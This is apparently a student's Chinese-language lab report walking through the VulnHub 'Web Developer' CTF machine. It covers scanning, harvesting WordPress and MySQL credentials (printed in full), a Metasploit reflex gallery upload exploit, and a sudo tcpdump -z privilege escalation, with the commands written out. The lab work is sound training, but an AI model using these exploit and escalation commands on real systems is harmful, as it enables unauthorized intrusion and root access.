渗透测试三

渗透测试三

1. 实验目的和要求

实验目的:通过对目标靶机的渗透过程,了解CTF竞赛模式,理解CTF涵盖的知识范围,如MISC、PPC、WEB等,通过实践,加强团队协作能力,掌握初步CTF实战能力及信息收集能力。熟悉网络扫描、探测HTTP web服务、目录枚举、提权、图像信息提取、密码破解等相关工具的使用。

系统环境:Kali Linux 2、WebDeveloper靶机来源:https://www.vulnhub.com/ 

实验工具:不限

2. 实验步骤

实验步骤和内容:

目的:获取靶机Web Developer 文件/root/flag.txt中flag。

基本思路:本网段IP地址存活扫描(netdiscover);网络扫描(Nmap);浏览HTTP 服务;网站目录枚举(Dirb);发现数据包文件 “cap”;分析 “cap” 文件,找到网站管理后台账号密码;插件利用(有漏洞);利用漏洞获得服务器账号密码;SSH 远程登录服务器;tcpdump另类应用。

实施细节如下:

1、发现目标 (netdiscover),找到WebDeveloper的IP地址。截图。

 

2、利用NMAP扫描目标主机,发现目标主机端口开放、服务情况,截图并说明目标提供的服务有哪些?(利用第一次实验知识点)

 22/tcp (SSH) - 安全Shell服务,用于远程登录

 80/tcp (HTTP) - Web服务,

3、若目标主机提供了HTTP服务,尝试利用浏览器访问目标网站。截图。是否有可用信息?

4、利用whatweb探测目标网站使用的CMS模板。截图。分析使用的CMS是什么?

 

CMS类型:        WordPress

版本:             4.9.8

服务器:           Apache 2.4.29 on Ubuntu

jQuery版本:       1.12.4

5、网络搜索wpscan,简要说明其功能。

wpscan是一款专门针对wordpress的扫描工具,采用ruby语言编写,能够扫描worpress网站中包括主题漏洞、插件漏洞以及wordpress网站本身存在的漏洞。wpscan还可以扫描wordpress网站启用的插件和其他功能。

6、使用 Dirb 爆破网站目录。(Dirb 是一个专门用于爆破目录的工具,在 Kali 中默认已经安装,类似工具还有国外的patator,dirsearch,DirBuster, 国内的御剑)截图。找到一个似乎和网络流量有关的目录(路径)。


5、浏览器访问该目录(路径),发现一个cap文件。截图。

 

6、利用Wireshark分析该数据包,分析TCP数据流。找到什么有用的信息?截图。

 

Form item: "log" = "webdeveloper" Form item: "pwd" = "Te5eQg&4sBS!Yr$)wf%(DcAd"

7、利用上一步得到的信息进入网站后台。截图。

 

8、利用该CMS存在的(插件Plugin)漏洞。

 

9、利用该插件漏洞提权。

可选方案1:利用MeterSploit插件+reflex gallery插件漏洞实现。安装reflex gallery插件。利用该插件可能存在的漏洞。(课本知识点,如下图所示)

建立会话后,查看wp-config.php获得账号及口令。(配置文件很重要,各种系统的配置文件)。

获得的账号、口令是用来访问什么目标?注意与第7步描述比较。

进入网站后台后,将已有的reflex gallery进行插入,并且按步骤进行更新,找到Plugin以后,点击进入Add New,点击upload Plugin上传,最后进行更新就可以了

执行:sudo msfconsole

 

接着执行:use exploit/unix/webapp/wp_reflexgallery_file_upload或者use 0,下一步为(1)set RHOSTS 192.168.222.133 (2)set  LHOST 192.168.222.132,(3)exploit


执行(1)cd /var/www/html (2)pwd  (3)search -f wp-config.php

得到mysql账号:webdeveloper,密码:MasterOfTheUniverse

 

10、SSH登录服务器

尝试利用上一步获得的访问数据库的用户名和密码连接远程服务器。截图。

1、尝试查看/root/flag.txt   以下操作得到的结果截图替代以下截图。

 


均无法查看。

10、使用tcpdump执行任意命令(当tcpdump捕获到数据包后会执行指定的命令。)

查看当前身份可执行的命令。

 

发现可以root权限执行tcpdump命令

1.创建攻击文件

touch /tmp/exploit

2.写入shellcode

echo 'cat /root/flag.txt' > /tmp/exploit

3.赋予可执行权限

chmod +x /tmp/exploit

4.利用tcpdump执行任意命令

sudo tcpdump -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root

获得flag

tcpdump命令详解:

-i eth0 从指定网卡捕获数据包

-w /dev/null 将捕获到的数据包输出到空设备(不输出数据包结果)

-z [command] 运行指定的命令

-Z [user] 指定用户执行命令

-G [rotate_seconds] 每rotate_seconds秒一次的频率执行-w指定的转储

-W [num] 指定抓包数量

3. 实验小结

1、修改靶机root账号的密码;截图。


2、网络渗透测试课程中用到的靶机对你学习有何帮助?不少于200字。

在网络渗透测试课程中,使用靶机对我的学习帮助非常大。首先,靶机提供了一个安全、合法的实验环境,让我可以在不触犯法律的前提下动手实践各种渗透技术,比如信息收集、漏洞利用、提权和获取flag等操作。其次,通过完成像Web Developer这样的靶机挑战,我可以熟悉了Kali Linux中常用工具(如nmap、dirb、wireshark、msfconsole等)的使用方法,还加深了对Web漏洞(如插件漏洞、弱口令、配置文件泄露)的理解。同时让我体会到团队协作和查阅资料的重要性。总的来说,靶机实验把书本上的理论知识变成了“看得见、摸得着”的实战经验,极大地提升了我的学习兴趣。

LICENSED UNDER CC BY-NC-SA 4.0